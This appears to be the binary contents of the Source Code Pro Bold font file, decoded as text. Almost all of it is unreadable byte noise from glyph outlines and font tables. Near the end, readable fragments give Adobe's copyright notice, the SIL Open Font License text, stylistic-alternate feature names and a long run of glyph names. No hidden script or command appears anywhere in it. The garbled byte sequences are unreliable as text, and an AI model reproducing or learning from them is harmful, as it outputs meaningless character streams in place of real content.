+&/-ÕJJK{',13#575#575323#3###4&'#364'3&#327#eQQQQ·O|K??K}N,”’“”|>"">}Y5.5€9F;  ;C?צ - }##ì&Cÿ’é#5.5466753&&#"3275#53&Bf;9gCbU=Q4 AGK@#LÎI)nf Pˆ_\‰U he@Pqegm zxþÔ$f5ÿô‡6"&5467#57367#5736654&#"'66323#3!327Gko\l Dt²þî %(AH=)p gU  ED  O'0_RJ K  %<^((Oÿ’3à!5.5466753&&'67CGn?=nIQW@Q"+#Q!O/²3.01nd N‹b_ŒT ][ AO þZ (L$-e­Tk lY {75327#573&&##5!#3##'YItÕQ‚ F7I³–:MK H6¼¤¤ÉuGDuJ#?J@QàÉÿñ'{ 5'75'75377>54&'7yD#gD#g“#²#²*H,ygÁ è @17!@2Æ~E@V7E@V§"8#  [|=#5{35'75'75#5!#77âq#”q#”¿¿q#”q#”…7@H77@H²kks7?I77?IÄ#5{ 3#57!#5!â¿g«¿þ­´EKþL1JJ9{!35#575#5732##3#32654&##mmmmÈClACm@=êê74::47ŽE3D'&QAAR%2KŽU7.504{35#57!!3#3#€LL™þúÝÝaUÀ|y{PZaGp7'77'7\Kº33¢KI­/–0ÇIÿÿGphÿÿGphÿÿÿôHˆ' ÿD&h ÿôF‡ '3?K"&54632'2654&#"'%"&54632'2654&#""&54632'2654&#"ž6II67II7Ã&þX6II67II7-6JJ67II7„H<''&'>H<''&'ÿÿQ|' ÿqD&hÿÿG|' ÿqD&h ÿÿQˆ' ÿqD&hÿÿÿôG|' ÿqD&h ÿÿ ÿôGˆ' ÿqD&h ÿÿÿôG|' ÿqD&hÿÿ ÿôGˆ' ÿqD&hÿÿÿôGˆ' ÿqD&hÿÿÿôGˆ'ÿqD&hÿÿÿôG|' ÿqD&hÿÿÿôG|'ÿqD&hÿÿH|' ÿqD&hÿÿÿôG|' ÿqD&hÿÿÿôGˆ' ÿqD&hÿÿÿôG|'ÿqD&hÿÿÿôG|'ÿqD&hÿÿÿôG|' ÿqD&h5ÿôF{ !-5#56673'%5#56673"&54632'2654&#"†Q&+SÃ&þ@Q&+SÊ6JJ67II7ˆ@ë,Æ^þ]‡Aë H<''&'ÿÿÿôGˆ' ÿD&h F^6 75#53533#ö°°l°°^¸h¸¸h¸F~5!FÌhhTp# 7'7'77'IŽŽIIŽŽIpJJJJFIK "&54632"&54632%5!,"//"#..#"//"#..þ÷̱+""++""+þ˜+""++""+Íhhÿÿ·ìŸ×‘ÿÿøÿÿF¢ò&tŒÿÿF-g'é&ÿtöy%%5%öþ~‚þ÷ úfú…¦¦bäy75%5%5b þ÷‚…¦¦…úfF0 35!5%5%FÌþ4̬‹‹¬hhšŽzŽy."".F0 35!%5775''5FÌþ4¬‹‹¬Ìhhšy."".yŽzF6 75#53533#5!ö°°l°°þäÌžˆh¨¨hˆžhhVž 3#''#V›v›y.--.Œþt€‡‡€F(l77#537#5!733#3!XGY“IÜH]GY“IÜþëH(zg‚gzzg‚gz4ê$ª%".#"'66323267/%$'X U./%$&XUð)))NC(*)NCÿÿ4v$&ŽtŽŒF^~%5!5!¦þ Ì^¸hþàF^~7!!FÌþ ^ h¸I^D7546632#54&#"I;fBBf;l@77@^ýGh::hGýñCHHCñF^673!Fl`^Øþhÿóye(4%"&'##"&&5463236632%267&&#"%2654&#"º5P)B.(A&ZI/A#L3-J,-Nþ­$( 4"&+$10y.@%/0M-^h,(5/2V7Fb3…%!)0 ).$&./œŽ½®"&&546632'2654&#"-(B''B()A&&A)%%%%Ž%A**A%%A**A%F)! )) !)æcŽ®3æ“/cK‘ºÿÿpc®&–Š–vÊcr®''3/“cº‘þµÿÿ@ÿ<IðŠ<ÿô  +73267&&#""&&5466324454&#"'6632Ã.&A3*7=5Z57a>#D3;2@)Y4Ng4I€Â+,>L!7þú0X=Eh;  T`Z#'Lˆ[r¬_“ÿbÔ""&'732654&&546632&#"Ì 'QN  'Pžj>GM”˜RGoAk>GL”˜SFpAîþpã#46632&#"r„QN &þp°GoAk>G}ÿbrè"&'732653¶ '„Pžj>G“üqFpA!ÿ°Y4'736673–J®c bØP›EGþÚ**¢ü|ÿÿ9Œaÿÿ9˜u OŒ#33736677#O˰˜'Å(Œ  ‰ ŒýtŒ››ýä4m1<<1mBüŒ 35!5#535!5!B&ññþä°|–{ƒ|ýtÿÿ,5,c'“ÿtA“ŒA;ÿˆ.{ 55!!!;ÎÄÑþâ§®=xW"#W|úù|ÿˆ?{!#!&“ÿxóý sýÿôH‡".:"&546632&&#"3267'77'7"&54632'2654&#"¬?T,G(2/  !! )9kKº33¢K@TT@@TT@8WO6K(< 1)(/ =þäI­/–0ÇIýÍ\MNYYNM\O'33%%33'JÿôÐ )6654&#""&''667546323267;,+6Cl  71jQJW*[H./5!Tñƒ*X6 4ýÃIKZÜ~uZP>kd64,Y0ÿô>”1".54>32!"32673!2554'&&#",9cK++Kc99cK+þb6T5_"&(rÐ G&(H 4\zFFz\44\zFà <=3òÁ 7'7'%'7‘SýÇj Sý iþÇG6úê %%7'7'7÷þÇýSý i6j ýSýÇþf6ê 7'77ij ýSýÇ6ÇýTü j ÿï8 5!!!!#þêFNþ((þãN  ODU##UDÿæ97'3'#'##nO  ODU##U¶EþêENþâ€((þ€ÿïJ '7!5!75'!5!'74ENþâ€((þ€NEODU##UDOþõÿæ9733737*þõODU##UDOþõFNþ((þãNFþêÿôdÞ%'7!'57!'7d´M[þÜ[M´´M[$[MþàpIIn??nIIp>H,O44N,,N44O,6E43EE34Eÿãÿöu£ 7!%!!KGAýéÿþ lAýžK:ÿãÿöÁ- 7!667%!&&'73667!KÉ9Z&Aýéÿ4["ŠB.]#1R1þ_ lA'EO(ý´K:äRÌzMD=7p8c»Rÿðÿìp°&&'73>7I5](=$f{CZd¸=UŒJ==>xݼEN_þÑØ5ÿä-¶!"&&5466323'6654&'¥4!-N/ OG6195m&$<$ 0^<*P*,Qþ—afÿöÿäjÞ!"&&546632%#"&&546632b1 (E*"¡eT2 (E*"ýe&$<$ð<ýùbf&$<$G$þ«afÿôX¾#.5463236632.\u@W@2LL2@W@u ^‘vi6_g4DD4g_6iv‘X¾47"&5466327.546326632#"&'#!5667#ƒ:I'@%$#" W@@W !$$%@'H;%IUFþhFUHŸOC1> 716CC617 >1CO&3cR 99 Rc3&ÿüÿô\É#53.þÒ.. hiþ—XÉ!%#"&54>73#"&'#!5667C'9MCsXXsCM9'BUFþhFUø3'BF-OZxUUxZO-FB'3cR 99 Rcÿû]x+7EMU%"&&546632'26654&&#"'"&546323"&54632"&'73267'254#"3254#",Z‰NN‰ZZŠMMŠZDg::gDDg::g ‡iAQ/ 9''9 /Q­ M‰XYˆMMˆYX‰MC;jFFj;;jFFj;ï' && '' && '¶B9!!9Bô0Id'3;C%"&&5466322654&#"32654&#"267'#"''"54323"5432,THHTU€HH€¨¿:FO/VV/O”0H€RSHHSR€H(&&&&&&&&Ê@;@@;@ÿÿÇ‘ƒ%#.5463236632.EPOA'kS?TT?Sk'AOPE->02@\D_`7DD7`_D\@20>ÿÜ„x"6BNV&&#"3262672654&#""&&54632#32654&#""&'6632672'&00 6XRN88ohgq6b@U~E•ƒo‹;H7X3%j KUXhOPfWh)¤  þÌ03P6/?DNSIu“E;V±‰bjMG MJ7T/73ˆ  e+%.45-%+L53ÿñg–%,:H%"&&5467&5467&&54>7'267!'66327&&#"66327&&#",n‹B-1%?1 ,30” 1?%1-B‹n9QþäPb# "­" #@;0: ?6;  'O ;6? :0;@`5==5Ê""A77A""A77ÿÙx %;IW%"&54632'"&5463226654&#""&'&5467663266327&&#"66327&&#",[_gSSg_[Bh;xmmxJsAAsJA6q$aaAsVUA+D''D+AU\@mEDn@jaþÝhI)Em@ÿôd† 7%2654&#"'7&&'#5367'7675373#'#5&',5EE55EEIR bb PIQl RIQ bbPIR lÎF66FF66FIPhQIR mm QIO hRIS mm Jÿö—3'377''#ð¦¦x¦¦>9--99-- QPþ°þ¯{y]\yy\]#5— 33%!5''##ÎvÎþg JDDJh/þÑþ˜cäwppwÿÿæcŽ®–ÿÿ¸"¹œÿÿÊ"Ÿ¹Þ¥C 5254#56Þ]]k\\ODDORDCS³zC &546"3zk\\k]]SCDRODD“ÃÏA5&&546632&&#"1@/M-3H3+ +3?ÃP%H7.=#@!6%t¤´373'!¤ÚÚ<ÚÚ¤<´'!%<ÚÚZâŸÆ%"&'573267O#?€¼  &â)87iQ9?E ÿÿ}1z/ûÿÿÞ1Û/þÿÿu1ãèÿÿuAãøàyxä3ÿ˜ykþ•ÿÿ˜PÀ­ÿÿÞ1Û/þÿÿ}1z/ûàþ÷xb3àZþ÷kþ•ÿÿn=êãÿÿm;ëÜÿÿ˜PÀ­ÿÿƒ<Õç ÿÿ¨8°ÿÿ©5 ÿÿÊ>Žó ÿÿ»ÿ‹ 2ÿÿÄÿ©4 .ÿó)ü ".:FR^jv"&54632'"&546323"&54632%"&54632!"&54632%"&54632!"&54632%"&54632!"&54632%"&54632"&54632'"&54632+|Àþµ]þa’þc]þËÀ” -RmmR+}1z/'72µd™1œb¶™¨’~'7Q¸N«¨w_Œ²+b'7N!+ÖÜÞ1Û/'7&H™d1H¶bƨ¿~'7A«N¨JŒ_õ.¨>'Xc#.u1ãè'73'#­8l–l8}14ƒƒ4\‚­ÖC'73'#Â@Z Z@h­'oo'Tn=êã".#"'6632327n% \@:% \@=MK7MKf´òT"&&#"'66323267s#1$_G4$0%_F´LDKE˜PÀ­5!˜(P]]•ÑÃ/5!•.Ñ^^ÿÿ˜PÀ­ÿÿ•ÑÃ/ƒ<Õç "&'73267,URT((()TQ<[B // B[€<Øà "&'73267,VTr rTŽó "&54632,+77++77>1()33)(1Ò½†d "&54632,(22((22½/%%..%%/m;ëÜ "&546323"&54632½#--##--»#--##--;."#..#".."#..#".t¼äN "&546323"&54632½** **¾ ** ))¼* )) ** )) *Ò8'6654&'7 $, bP'?8:ZB5",Ò³Œv'6654&'7 $,]L&?³: I1(",w<áR "&'73267'"&54632,XYL6.-7LXY ,, ,,<[B$44$B[‚(!!**!!(x¹àà "&'73267'"&54632,QY H 9))9 H[Q ++ ++¹FC%%%%CFx(! )) !(¨8° "&54632'2654&#",ACCAACCA8=+*==*+=7º¹ž~ "&54632'2654&#",3??32@@2¹6--55--67©5 '7'7÷NXbGNXb5#µ,¬#µ,¡¶y'7'7êIe^AHd^¶"¡4"¡4uAãø'737ál8}}8lAƒ4\\4ƒ‚¾ÖT'737ÜZ@hh@Z¾n(TT(në$n63ñƒ$b°B5¯ '7'7®lbXelbX5¬,µ#¬,µ9¶·y'7'7³z^dsz^e¶4¡"4¡ƒ5Õà '6632&&#"×TQVVQT)(((5B[[B 00‰¶ÏM '6632&&#"ÙPRJJRP*""*¶CFFC""ã2x"&54676326%.;<B &&22-.F0$ "Ë8†.5467W%@'Pb +%8,"5BZà2u'67#"&54632þB &&&-;21$ "1-.FÿÿÒ8ÕþÿžÿÊ5#5353JuuTþÿBGB˺þÿƒÿÊ533#ºTuuþÿËBGBÕ>Ô5#53Alº>OG–"«à¨'6654&'7- % m 2R«;(, /15D"ÊþüpÿÌ &546"3pZLLZ$ $þþ9//96­ÿ«ÿÊ53533­UTUåGhhG­þÿ«ÿ®5#53#UþUþÿiFFi­þÿ«ÿÊ 5#53533#UUTUUþÿBGBBGB­ÿf«ÿ­53­þšGGÿÿÊÿ Žÿ¿ üÌÿÿmÿëÿ¹üÝÿÿ¨ÿ°ÿÏüÈ»ÿ‹ÿÌ '6654&'7Æ ;,"P=gï;6(%31Í8ó &&5467ZP=g^ :-"8(%31;»ÿ‹ '6654&'73Æ ;,.2V&&gï;iH " 31»ÿ‹ '6654&'73Æ ;,.2V&&gï;iH " 31Äÿ©"&546673326750A%S!!@ã21 4% / AÅÿ¦"&5466733267:1D&Z! #;ã2. 5& 1 JñþógÿÀ73ñjþóÍÍ©ÿ$¯ÿ²5!#5#©LnÜŽŽGGÿÿuÿãÿÖüÞÿÿƒÿÕÿ üÛÿÿƒÿ Õÿ´üÔÿÿnÿêÿÃüàÿÿ˜ÿDÀÿ¡üôJ¦L%".#"'6632327 %=3,\92&=2-\9¦4DC4DDèþüŽÿÌ 526548è$ $ZLLþþ769//9©ÿ*¯ÿ¸53353©LnLÖŽGGŽ©ÿ ¯ÿ¾5!'35#©ºnn÷µµ6Jkÿ íÿ´'&32366324&#"#54&#"¿St'  (<8SFõ ŸOP /º6žÿ '7'77'ë1??1AA1??1A6,89,77,98,7ÿÿn=êãÿÿf´òTóÿ(ŸÿÉ"&5533267b=2j ØE:" Oÿ0ÿC(ÿ¡5!Ðø½^^ÿcJõ '6632.#"w&gêxxêg&A“??“JC?==?C%**;×r "&546323"&54632''7¿####¿####8NN;$$$$$$$$Ž$…4€¼Øñ "&546323"&54632''7½""##Ã##""‚?_\¼$##$$##$}'‘9h:ð> "&5463277"&54632¤####;&hM{####H! !ùó! !;×r "&546323"&54632''7¿####¿####dNN;$$$$$$$$Žu4…€¼Øñ "&546323"&54632''7½""##Ã##""’|\_¼$##$$##$}9‘o7é! "&54632'77"&54632§!!!!_Ig#R!!!!HÕÜ;×G ,"&546323"&54632'"&&#"'6632327¿####¿####E +! @2&!*! @3;$$$$$$$$88'79;×9 "&546323"&54632%5!¿####¿####þä(;$$$$$$$$¹EE€¼Ø­ "&546323"&54632%5!½""##Ã##""þß.¼$##$$##$¬EE;×i "&546323"&54632''737¿####¿####Â\0dd0\;$$$$$$$$¦\,AA,\€¼Øã "&546323"&54632''737½""##Ã##""É\;^^;\¼$##$$##$šf'II'f•6A) '73'#7'7Ä/]t]/f²8ON64\\4A,3“­- '73'#7'7Î;Z~Z;\š,d1­'dd'H2V<6Ã) '73'#''7Ä/]t]/f®iNS64\\4Aw4/­Å '73'#''7Î;Z~Z;\–e0a­'dd'HM;W•6*2'73'#7'6654&'7Ä/]t]/fŒ &RA 464\\4A 2 >*# &“­)•'73'#'6654&'7Î;Z~Z;\‹ & S@C­'dd'H/ <-!,'•6ÃF'73'#7"&&#"'632327Ä/]t]/f<&C N%C 64TT48^&o&o“­ÅÃ'73'#7"&&#"'6632327Î;Z~Z;\>(F0*'F0­'\\'?Z&96' 96ƒ<Õt "&'73267''7,URK-+,,KQM@]W<[B$44$B[,A‰¹ÏÝ "&'73267''7,JRH.%%/HR9H_\¹FC#''#CFl/‰9ƒ<Õt "&'73267''7,URK-+,,KQ_tW]<[B$44$B[xA‰¹ÏÝ "&'73267''7,JRH.%%/HR[s\_¹FC#''#CFl9‰ƒ<Õy "&'73267''6654&'7,URK-+,,KQy 'SCF<[B$44$B[}3 P4+1'‰¹ÏÎ "&'73267''6654&'7,JRH.%%/HRj &R@C¹FC#''#CFm/ =-!,'<ÈE !"&'73267'"&&#"'6632327,NGH%((%HH&K3)% K32  2>‘'96' 86 4¸B'73'#7"&'73267Ô4RtR4VA;6!%& 6;4!YY!=^:((:‘­ÇË'73'#7"&'73267Î8W~W8\ILG&()%GK­'\\'H]<1  1<˜PÀn5!''7˜(°1<P]]y–çŠŠŠŠK£ µ%3!3w–þ>–£þîþîçÿjqî33犊ŠÂ,þÔý¨,þÔ£ÿjµî!!£þîÂ,þÔý¨,þÔÿ»^ú5!5!Eâýâq‰‰þ퉉^þpúè3!3q‰þd‰þpxúˆxúˆçþpú %!#!!!þÔŠ¶þÔ,^þЉŠ^þpq ##!#qЉ?£þpwý‰Šý‰^þpú !#!##!þJ‰?£‰,qüÿŠþdþwÿ»þpqú #!5!5!5!qŠþÔ,þÔ¶þp‰ÿ»þpúq ###5!qЉ£?þpwý‰wŠüÿÿ»þpúú #!5!##5!ú‰þJ?þ퉣,þp‰üvî‰ç^è 73!!!çŠ,þÔ,^Šþ‰Š‰^çè 73333^‰Š‰£çý‰wý‰Š^^è 333!q‰£ýÁ‰¶qwþ‰þíŠüÿ‰ÿ»^qè %!5!5!5!3qþJ,þÔ,Š^‰Š‰îÿ»çúè %!53333úýÁ£‰Š‰çŠwý‰wÿ»^úè !533!5!3çþÔ£‰ýÁ¶‰q‰îüv‰çþpè %!#3!!!þÔŠŠ,þÔ,^þxþ‰Š^þpè 3##33^‰¶£‰‰£þpxúˆwý‰xý‰^þpè 333##!^‰Š‰££‰,þpxúˆwþ‰þíþwÿ»þpqè #!5!5!5!3qŠþÔ,þÔ,Šþp‰îÿ»þpúè 3!##533q‰þ퉣£‰þpxúˆwŠwÿ»þpúè 3!533##5!q‰þíþÔ£‰‰£,þpxúˆ‰îúˆî‰ÿ»þpú 5!!#!5!EâþÔŠþÔâq‰‰þíþî‰ÿ»þpq ###5!#qЉ£â£þpwý‰wŠŠý‰ÿ»þpú 5!##!##5!E⣉,þJ‰£,q‰‰þíþwý‰î‰ÿ»^è !5!3!5!ý,Š,ýâq‰îþþd‰‰ÿ»çè %!533333ý£‰Š‰£çŠwý‰wý‰ÿ»^è 33!!5335!q‰£þJþÔ£‰þÔâqwþ‰‰îüv‰‰ÿ»þpè%!#!5!5!5!3!!!þÔŠþÔ,þÔ,Š,þÔ,^þ‰îþ‰Šÿ»þpè###533333#qЉ££‰Š‰££þpwý‰wŠwý‰wý‰Šý‰ÿ»þpè 33!!533##!##5!q‰£þJþÔ£‰¶£‰,þJ‰£,qwþ‰‰îüvþwý‰î‰çþpq4>33#"ç9f†LEE@i>þpM…f9Š>i@þpÿ»þpqq!#4&&##532qŠ>i@EEM…f9þp@i>Š9f…ÿ»çqè##532665q9f…MEE@i>èþpL†f9Š>i@ççè333#".çŠ>i@EEL†f9Xþp@i>Š9f†þÔX„3# LýôL“™ûéþÔX„#5L Lýô„ûé™™þÔX„#5533 ààLààLààLààþÔ¿þA™¿¿™þA¿™þAþA™ÿ»çqq'5!E¶çŠŠççqè73çŠçüÿççq75!ç¶çŠŠçþpqq3çŠþpüÿÿ»£qµ'!E¶£þî£çµè7!£çüÿ磵7!ç¶£þî£þpµq!£þpüÿÿ»£µ%!5!5!5!þJþÔ,¶£DŠD£þpµè!333µþîDŠDþpwý‰ÿ»£µ%!!!!þÔþJ¶,çDD£þpµè%###!µDŠDçý‰w,Xè!X,¼ýDþpXÿ5!Xþp¯¯þpXÿÎ!Xþp^þ¢þpX}!Xþp ýóþpX,!Xþp¼ýDþpXÛ!Xþpkü•þpXŠ!XþpûæþpX9!XþpÉû7þpXè!Xþpxúˆþp è! þpxúˆþpÂè!Âþpxúˆþpwè!wþpxúˆþp,è!,þpxúˆþpáè3áþpxúˆþp–è3–þpxúˆþpKè3Kþpxúˆ,þpXè!,,þpxúˆ*ÿèþX¨ #/;GS_kwƒ›§³¿Ë×ãïû+7CO[gs‹—£¯»ÇÓßë÷4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&ÐÈÈ8  È  È  èÈÈ8  È  È  èÈÈ8  È  È  èÈÈ8  È  È  èÈÈ8  È  È  èÈÈ8  È  È  èÈÈ8  È  È  „U      ZU      ZU      ZU      ZU      ZU      ZU      *ÿÜþL*º #/;GS_kwƒ›§³¿Ë×ãïû+7CO[gs‹—£¯»ÇÓßë÷4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&¾  È  È  >ÈÈâ  È  È  >ÈÈâ  È  È  >ÈÈâ  È  È  >ÈÈâ  È  È  >ÈÈâ  È  È  >ÈÈâ  È  È  >ÈÈ„   NU   NU   NU   NU   NU   NU   N*ÿÊþ:EÕ #/;GS_kwƒ›§³¿Ë×ãïû+7CO[gs‹—£¯»ÇÓßë÷4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&4632#"&'4632#"&'4632#"&£/""//""/È/""//""/È/""//""/G  È  È  Ù/""//""/È/""//""/È/""//""/G  È  È  Ù/""//""/È/""//""/È/""//""/G  È  È  Ù/""//""/È/""//""/È/""//""/G  È  È  Ù/""//""/È/""//""/È/""//""/G  È  È  Ù/""//""/È/""//""/È/""//""/G  È  È  Ù/""//""/È/""//""/È/""//""/G  È  È  „"//""//""//""//""//""//B   N"//""//""//""//""//""//B   N"//""//""//""//""//""//B   N"//""//""//""//""//""//B   N"//""//""//""//""//""//B   N"//""//""//""//""//""//B   N"//""//""//""//""//""//B   9Xè5!X9¯¯ þpXè3 Kþpxúˆþp,,!,þp¼ýD,þpX,!,,þp¼ýD,,è!,,¼ýDþpXè!!,,þpxýDýDþpXè!!,,,¼ýDýD¼ýDþpXè!!!XþÔþÔX,ýDxþpXè!!!XþÔþÔXþp¼¼,,Xè!,,,¼ýDþpXè!!,,ý¨,,¼ýDýD¼ýDþpXè!!!Xý¨,,þp¼¼ÿÿ5ÿä-¶ÍÿÿÿöÿäjÞÎBó'3#57546632&#"3#33"&54632IBB$PC4ZZ»“J+77++77}m5V4 l !&sþƒðþ>1()33)(1 ÿôZÉ'"&533267%#57546632&#"3#L;“  $þ#BB$PC4ZZ [K#ý×m }m5V4 l !&sþƒ>þèz$#4>55#7#3Ï‘"8CC8"o¹¸p"8CD8"‘‘þèH_?,)4M<ÊààñI`?-(3L;»TàAÿZ˜3333'53##AÍñ’‡%“†%¸àþˆhý¢Þþ¢Ü‚þ"]Ø…ÿÿÿº=XÙþèXXþè(ýlÿðÿ(qÐ'7AQêþQ0ØPPý¬þè\ \ý¤\þè””ÿçÿ(hÐýÐ0QþêØTTPýüýüHf  $ < H T `l&~ &¤ *Ê 6ô D*:n¨2Ä$öD* Æ Ø ö Fþ (D dl $Ð Àô 4´ 4è 2  N 4n ¢ ²   Ü è ú     $ 0  T  , t  0    . Ð  2 þ 8 0 & h < Ž Â " Ê . Ð 2 þ ì þ"  2 F ` z ”0 ¨ ( Ø ,  4 , 8 `< ˜0 ÔH " 2 L8 `±À»Ì a±À»Ì gi & l ¼µ ±ºÁµ¼Ì½µÂ£¬¼· JÁ­É½ ²Á­É½ ¸Á­É½ Æ£­Á²¹º¿ 1ºÅÁ¹»»¹ºÌ ²Á±ÇÍ [Ø]¼·´­½ ¼µ º¬¸µÄ¿ [0]ÄÅÀ¿³Á±Æ¹º® À±Í»± [-]ÄÅÀ¿³Á±Æ¹º¿ ±ÃĵÁ¯Ãº¿ [*]Ãͼ²¿»¿ ĿŠ´¿»±Á¯¿Å ¼µ º¬¸µÄ¿ [$]ÄÅÀ¿³Á±Æ¹º¬ µ½±»»±ºÄ¹º¬ [-,*]Á­É½ ², ±À»Ì aÁ­É½ ¸, ±À»Ì g, £­Á²¹º¿ 1Á­É½ Æ, £¬¼· J© 2010 - 2020 Adobe Systems Incorporated (http://www.adobe.com/), with Reserved Font Name Source .Source Code ProBold2.038;ADBO;SourceCodePro-Bold;ADOBESource Code Pro BoldVersion 2.038;hotconv 1.0.116;makeotfexe 2.5.65601SourceCodePro-BoldSource is a trademark of Adobe Systems Incorporated in the United States and/or other countries.Adobe Systems IncorporatedPaul D. Hunt, Teo Tuominenhttp://www.adobe.com/typeThis Font Software is licensed under the SIL Open Font License, Version 1.1. This license is available with a FAQ at: http://scripts.sil.org/OFL. This Font Software is distributed on an AS IS  BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the SIL Open Font License for the specific language, permissions and limitations governing your use of this Font Software.http://scripts.sil.org/OFLsimple asimple gserifed i & lSami Jcursive ²cursive ¸cursive ÆSerbian ÆCyrillic breve [Ø]slashed zero [0]typographic hyphen [-]typographic asterisk [*]slashed dollar sign [$]alternate numeral one [1]typographic alternates [-,*]simple a, cursive ²simple g, cursive ¸, Serbian 1Sami J, cursive Æ?@>AB>9 0?@>AB>9 gV 8 Ï A 70A5G:0<8A00<A:89 JA:>@>?8A=K9 ²A:>@>?8A=K9 ¸A:>@>?8A=K9 ÆA5@1A:89 1:8@8;;8G5A:0O :@0B:0 [Ø]70G5@:=CBK9 =>;L [0]B8?>3@0DA:89 45D8A [-]B8?>3@0DA:0O 72574>G:0 [*]70G5@:=CBK9 7=0: 4>;;0@0 [$]B8?>3@0DA:85 70<5AB8B5;8 [-,*]?@>AB>9 0, A:>@>?8A=K9 ²A5@1A:89 1, ?@>AB>9 g, A:>@>?8A=K9 ¸A00<A:89 J, A:>@>?8A=K9 Æÿµ2 $%&'()*+,-./0123456789:;<=DEFGHIJKLMNOPQRSTUVWXYZ[\]­ÉÇ®bc     dýÿËeÈÊ !"#$%&'()*+,-.ø/0123456789:ÏÌÍ;Î<ú=>?@ABCDEFGHIJKâLMNOPQRfSTUVÓÐѯgWXYZ[\]^_`abcdefghi‘j°klmnopqrsätuvwxyz{|}~ÖÔÕ€h‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜ë™»š›œžæŸ ¡¢éí£¤¥¦§jikml¨©nª«¬­®¯°±²³´µ¶·¸ ¹º»¼oþ½¾¿ÀÁÂqprÃsÄÅÆÇÈÉÊËÌÍÎÏÐÑÒùÓÔÕÖרÙÚÛÜÝÞutvßwàáâãäå׿çèéêëìíîïðãñòóôõö÷xøùúûüzy{}|ýþÿ     ¡±å‰ !"#$%&~€'()*+,-./0123456789:;<=>?ì@ºABCDEçFGHIêîJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ ›     !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæ çèéêëìíîïðñòóôõö÷øùúûüýþÿ«£"¢ ¶·´µÄž¿©ª²³Ç     B >@^`_?è ‚Â†ˆ !"#$%&‹'ŠŒ(#)*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefgžhijklmnopqrstuvwxyz{|}~€‚ƒ„…†‡ˆ‰Š‹ŒŽ½…–„‘’“”•–—˜™š›œžŸ ÷¼¡¢Æõôö£¤¥¦§¨©ª«¬­®¯°±²ï𸳠´!”•“Aa§¤µ¶·’ƒ¸¹º»˜œ¼½¥¾¿ÀÁ™šÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øù¹úûüýþÿCØáÙŽÚÛÝßÜÞà      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ      !"#$%&'()*+,-.AmacronAbreve Aringacuteuni01CDAogonekuni1EA0uni1EA2uni1EA4uni1EA6uni1EA8uni1EAAuni1EACuni1EAEuni1EB0uni1EB2uni1EB4uni1EB6AEacuteuni01E2uni0243uni1E06 Ccircumflex CdotaccentDcaronuni1E0Cuni1E0Euni1E10Dcroatuni018AEcaronEmacronEbreve EdotaccentEogonekuni1EB8uni1EBAuni1EBCuni1EBEuni1EC0uni1EC2uni1EC4uni1EC6uni1E16uni01F4 Gcircumflex Gdotaccentuni0122Gcaronuni1E20 uni00470303uni0193 Hcircumflexuni1E26uni1E24uni1E28uni1E2AHbarItildeImacronuni01CFIogonekuni1EC8uni1ECAIbreve Jcircumflexuni0136uni1E32uni1E34LacuteLcaronuni013Buni1E36uni1E38uni1E3ALdotuni1E3Euni1E40uni1E42Nacuteuni01F8Ncaronuni0145uni1E44uni1E46uni1E48Omacron OhungarumlautObreveuni01D1uni01EAuni1ECCuni1ECEuni1ED0uni1ED2uni1ED4uni1ED6uni1ED8Ohornuni1EDAuni1EDCuni1EDEuni1EE0uni1EE2uni1E52 OslashacuteRacuteRcaronuni1E58uni0156uni1E5Auni1E5Cuni1E5ESacute 